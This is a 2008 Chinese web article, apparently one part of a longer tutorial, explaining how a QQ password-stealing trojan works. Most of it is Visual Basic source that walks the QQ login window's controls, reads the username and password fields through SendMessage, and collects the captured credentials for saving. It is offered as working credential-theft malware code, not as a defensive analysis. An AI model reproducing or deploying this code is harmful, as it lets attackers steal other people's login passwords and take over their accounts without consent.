首页新闻资讯管理维护网络安全机房管理部署集成网管工具网管资料专题论坛 杂志
当前位置:首页 >> 网管资料 >> 知识 >> 病毒 >> QQ盗号木马原理
QQ盗号木马原理
来源:bbs.365master.com 作者: 发布时间:2008-04-12

 

  自定义取得子窗口类名的函数,写在 Module1.bas 文件中

  我们知道 OICQ 主窗口的用户名的类名是 ComboBox,密码框的类名是 Edit,这里可以通过取得类名的办法,取得它们的句柄,从而取得它们的值。

      Public Function GetZiWin(window_hwnd As Long) As String
  Dim buflen As Long
  Dim child_hwnd As Long
  Dim children() As Long
  Dim num_children As Integer
  Dim i As Integer
  '取得类名
  buflen = 256
  buf = Space$(buflen - 1)
  buflen = GetClassName(window_hwnd, buf, buflen)
  buf = Left$(buf, buflen)
  If Right(buf, 8) = "ComboBox" Or Right(buf, 4) = "Edit" Then '进行判断
  GetZiWin = GetWinText(window_hwnd) '调用(6),取得它们的值
  Exit Function
  End If
  num_children = 0
  child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
  Do While child_hwnd <> 0 '如果有子窗口
  num_children = num_children + 1
  ReDim Preserve children(1 To num_children)
  children(num_children) = child_hwnd
  child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
  Loop
  For i = 1 To num_children
  Call GetZiWin(children(i))
  Next i
  End Function

  (6)通过(5)已得到了用户名、密码框的类名,也就取得了句柄,这一步进行取值

  自定义取得子窗口的值的函数,写在 Module1.bas 文件中

      Public Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
  Dim txtlen As Long
  Dim txt As String
  '通过 SendMessage 发送 WM_GETTEXT 取得地址栏的值
  GetWinText = ""
  If window_hwnd = 0 Then Exit Function
  txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
  If txtlen = 0 Then Exit Function
  txtlen = txtlen + 1
  txt = Space$(txtlen)
  txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
  GetWinText = Left$(txt, txtlen)
  If buf = "ComboBox" Then
  name = GetWinText
  If InStr(nameall, name) Then
  i = 0
  Else
  nameall = nameall + name
  i = i + 1
  End If
  Else
  password = GetWinText
  If InStr(passwordall, password) Then
  i = 0
  Else
  passwordall = passwordall + password
  i = i + 1
  End If
  End If
  End Function

  (7)到现在,程序已进行收尾阶段,如果在(4)中判断用户名、密码顺得取出,则保存相关信息。

(责任编辑:天空)
阅读次数:
快速检索
网友评论
评论加载中…
 
友情链接 | 欢迎投稿 | 杂志发行 | 广告报价 | 人才招聘 | 服务条款 | 免责声明 | 隐私保护 | 关于网管员世界
CopyRight © 2001-2008 [网管员世界 www.365master.com] All Rights Reserved.
《网管员世界》杂志,专为网管服务的刊物!